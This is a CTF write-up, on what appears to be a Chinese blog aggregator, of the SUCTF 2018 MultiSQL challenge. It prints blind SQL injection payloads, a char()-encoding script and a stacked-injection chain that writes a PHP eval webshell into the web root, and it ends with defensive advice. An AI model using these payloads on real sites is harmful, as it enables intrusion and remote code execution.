news 2026/4/17 5:22:11

BUUCTF:[SUCTF 2018]MultiSQL 二次注入与堆叠注入的联合利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF:[SUCTF 2018]MultiSQL 二次注入与堆叠注入的联合利用

1. MultiSQL题目漏洞分析

这道来自SUCTF 2018的MultiSQL题目展示了Web安全中两个经典漏洞的联合利用:二次注入和堆叠注入。题目环境模拟了一个常见的用户管理系统,包含注册、登录和查看用户信息的功能。在实际渗透测试中,这种多漏洞组合利用的场景非常典型。

首先我们来看注册功能的二次注入漏洞。当用户注册时,系统没有对输入的用户名进行充分过滤,导致恶意SQL代码被存入数据库。这个漏洞本身不会立即触发,而是在后续登录操作时被激活。这种"先存储后触发"的特点正是二次注入的典型特征。

用户信息查询页面存在另一个关键漏洞:基于布尔盲注的SQL注入。通过?id参数可以构造特定的查询语句来获取数据库信息。题目提示flag不在数据库中,这意味着我们需要通过注入获取服务器权限,也就是常说的getshell。

2. 漏洞发现与验证

2.1 二次注入的识别

注册功能的二次注入需要特别留意。我在测试时发现,如果在注册时使用特殊字符作为用户名,比如单引号,系统不会立即报错,但在后续登录时可能会引发SQL错误。这种延迟触发的特性使得二次注入在常规扫描中容易被忽略。

验证盲注存在的一个有效方法是使用异或运算。构造如下的请求:

?id=2^(if(ascii(mid(user(),1,1))>0,0,1))

这个payload利用了MySQL的异或运算符^。如果user()函数的第一个字符的ASCII码大于0,则if条件为真返回0,2^0=2;否则返回1,2^1=3。通过观察返回结果的不同,可以确认注入点的存在。

2.2 过滤规则的绕过

经过fuzz测试发现题目过滤了多个关键词和符号:

  • 过滤了union和select等关键SQL命令
  • 屏蔽了&和|等位运算符
  • 对常见的注入字符进行了转义处理

但有趣的是,系统允许堆叠查询(stacked queries),这意味着我们可以执行多条SQL语句。这在现代Web应用中比较少见,因为大多数ORM和数据库驱动都默认禁止这种操作。

3. 利用堆叠注入getshell

3.1 预处理语句的妙用

由于select被过滤,我们需要找到替代方案。MySQL的预处理语句(prepared statements)在这里派上了大用场。预处理语句允许我们将SQL语句先定义为字符串变量,然后再执行,这完美绕过了直接使用select的限制。

完整的攻击思路如下:

  1. 将恶意SQL语句转换为char()编码形式
  2. 使用set命令将编码后的语句赋值给变量
  3. 准备(prepare)并执行(execute)这个语句

3.2 构造文件写入payload

我们需要构造一个能将PHP webshell写入网站目录的SQL语句:

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php'

为了避免直接使用被过滤的关键词,我们使用Python脚本将其转换为char()编码:

str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';" len_str=len(str) for i in range(0,len_str): if i == 0: print('char(%s'%ord(str[i]),end="") else: print(',%s'%ord(str[i]),end="") print(')')

生成的char编码为:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

3.3 最终攻击链构造

将上述编码整合到堆叠注入中,形成完整payload:

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

这个payload做了以下几件事:

  1. 执行原始查询?id=2
  2. 设置@sql变量存储我们的恶意语句
  3. 准备并执行这个语句
  4. 在目标位置创建webshell

4. 防御建议与实践经验

在实际开发中,防范这类攻击需要多层防御:

  1. 使用参数化查询或ORM,避免直接拼接SQL
  2. 实施严格的输入验证,包括长度、字符类型检查
  3. 配置数据库权限,限制Web应用的写文件能力
  4. 禁用堆叠查询功能
  5. 对敏感函数进行过滤或转义

我在实际渗透测试中发现,很多系统虽然做了基础防护,但往往忽略了二次注入的风险。建议在代码审计时特别注意数据从存储到使用的完整生命周期,而不仅仅是即时输入的过滤。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/17 5:17:05

Pixel Aurora Engine 保姆级部署指南:Ubuntu系统下Docker环境完整配置

Pixel Aurora Engine 保姆级部署指南&#xff1a;Ubuntu系统下Docker环境完整配置 1. 准备工作与环境检查 在开始部署Pixel Aurora Engine之前&#xff0c;我们需要确保Ubuntu系统满足基本要求。打开终端&#xff0c;让我们一步步检查并准备环境。 首先确认你的Ubuntu版本。…

作者头像 李华
网站建设 2026/4/17 5:13:51

2026届最火的十大AI写作平台实际效果

Ai论文网站排名&#xff08;开题报告、文献综述、降aigc率、降重综合对比&#xff09; TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 目前&#xff0c;人工智能技术已经深度渗透到学术写作范围之内。运用AI来辅助撰写毕业论文&a…

作者头像 李华
网站建设 2026/4/17 5:13:45

树莓派Pico硬件hack:自制一键烧录神器,UF2文件拖放再也不用手忙脚乱

树莓派Pico硬件hack&#xff1a;自制一键烧录神器&#xff0c;UF2文件拖放再也不用手忙脚乱 每次更新树莓派Pico的固件时&#xff0c;你是否厌倦了反复插拔USB线的繁琐操作&#xff1f;作为硬件开发者&#xff0c;我们追求的是流畅高效的工作流程。本文将带你深入探索一种优雅的…

作者头像 李华
网站建设 2026/4/17 5:11:34

五大主流地图数据本地化实战:高德、百度、腾讯、必应与ArcGIS下载指南

1. 为什么需要地图数据本地化&#xff1f; 在实际开发和研究过程中&#xff0c;我们经常会遇到需要离线使用地图数据的情况。比如在野外考察时网络信号不稳定&#xff0c;或者需要处理大量地图数据时反复联网请求效率太低。我自己在做智慧城市项目时就深有体会&#xff0c;每次…

作者头像 李华
网站建设 2026/4/17 5:11:13

Android 开发中,关于 Gradle 的 distributionUrl 的一些问题

#Fri Dec 19 14:27:58 CST 2025 distributionBaseGRADLE_USER_HOME distributionPathwrapper/dists distributionUrlhttps\://mirrors.cloud.tencent.com/gradle/gradle-8.9-bin.zip zipStoreBaseGRADLE_USER_HOME zipStorePathwrapper/dists设置的是这样的&#xff0c;为什么下…

作者头像 李华